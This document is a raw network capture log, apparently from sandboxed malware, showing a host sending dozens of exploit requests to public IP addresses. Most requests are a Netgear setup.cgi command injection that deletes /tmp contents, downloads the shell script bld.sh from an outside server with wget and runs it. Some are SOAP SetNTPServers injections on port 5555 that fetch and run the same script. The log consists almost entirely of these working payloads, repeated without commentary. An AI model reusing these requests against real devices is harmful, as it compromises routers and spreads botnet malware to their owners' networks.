May 16, 2024 16:40:06.062098026 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
177	192.168.2.23	56038	120.189.49.14	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:06.062102079 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
178	192.168.2.23	54318	164.103.166.141	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:06.062124014 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
179	192.168.2.23	37048	90.132.238.49	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:06.066850901 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
180	192.168.2.23	41440	2.247.151.36	5555

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:06.715579987 CEST	795	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:5555 User-Agent: r00ts3c-owned-you SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: -5848056 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 [TRUNCATED] Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
181	192.168.2.23	44282	90.128.58.135	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:10.064462900 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
182	192.168.2.23	54092	137.34.181.149	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:10.065875053 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
183	192.168.2.23	43904	170.50.239.14	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:10.065893888 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
184	192.168.2.23	35320	221.214.51.88	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:10.065893888 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
185	192.168.2.23	37350	58.91.99.193	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:10.065906048 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
186	192.168.2.23	43952	13.31.238.242	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:10.065908909 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
187	192.168.2.23	51820	197.145.146.89	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:10.065918922 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
188	192.168.2.23	39906	159.103.220.134	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:10.065929890 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
189	192.168.2.23	42658	216.150.15.66	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:10.065932035 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
190	192.168.2.23	38934	183.68.215.112	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:10.065947056 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
191	192.168.2.23	46214	90.128.58.135	5555

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:10.721621037 CEST	795	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:5555 User-Agent: r00ts3c-owned-you SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: -5848056 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 [TRUNCATED] Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
192	192.168.2.23	58462	11.105.186.97	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:14.153332949 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
193	192.168.2.23	36918	195.183.167.208	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:14.153346062 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
194	192.168.2.23	34498	98.168.229.13	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:14.153362989 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
195	192.168.2.23	45134	103.91.247.204	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:14.153376102 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
196	192.168.2.23	43214	169.204.234.146	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:14.153394938 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
197	192.168.2.23	41862	182.34.69.185	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:14.153409958 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
198	192.168.2.23	34364	112.66.196.38	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:14.153426886 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
199	192.168.2.23	57710	152.118.252.76	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:14.153445005 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
200	192.168.2.23	60710	161.127.27.116	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:14.153459072 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
201	192.168.2.23	54260	201.140.213.211	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:14.160842896 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
202	192.168.2.23	58306	11.105.186.97	5555

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:14.865828991 CEST	795	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:5555 User-Agent: r00ts3c-owned-you SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: -5848056 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 [TRUNCATED] Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
203	192.168.2.23	60966	195.251.137.185	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:30.129390001 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
204	192.168.2.23	34674	60.88.1.82	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:30.135833979 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
205	192.168.2.23	38070	210.200.104.99	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:30.140660048 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
206	192.168.2.23	41924	218.5.67.37	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:30.140661001 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
207	192.168.2.23	49554	62.171.149.9	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:30.140685081 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
208	192.168.2.23	36188	1.147.117.10	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:30.140686989 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
209	192.168.2.23	58412	145.12.200.149	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:30.140698910 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
210	192.168.2.23	42362	22.105.51.111	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:30.140701056 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
211	192.168.2.23	50950	120.208.226.216	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:30.147563934 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
212	192.168.2.23	39520	24.83.207.144	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:30.147563934 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
213	192.168.2.23	53886	195.251.137.185	5555

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:30.832655907 CEST	795	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:5555 User-Agent: r00ts3c-owned-you SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: -5848056 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 [TRUNCATED] Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
214	192.168.2.23	43636	40.97.189.58	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:34.221155882 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
215	192.168.2.23	54636	195.88.192.168	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:34.221157074 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
216	192.168.2.23	50708	69.92.188.26	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:34.221174955 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
217	192.168.2.23	37612	70.70.238.96	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:34.221198082 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
218	192.168.2.23	53786	97.30.41.238	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:34.221215963 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
219	192.168.2.23	37570	80.10.226.183	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:34.221219063 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
220	192.168.2.23	52610	44.229.134.189	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:34.226948023 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
221	192.168.2.23	49334	59.106.31.124	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:34.227003098 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
222	192.168.2.23	45000	170.220.55.201	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:34.227016926 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
223	192.168.2.23	46540	198.247.241.60	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:34.227026939 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

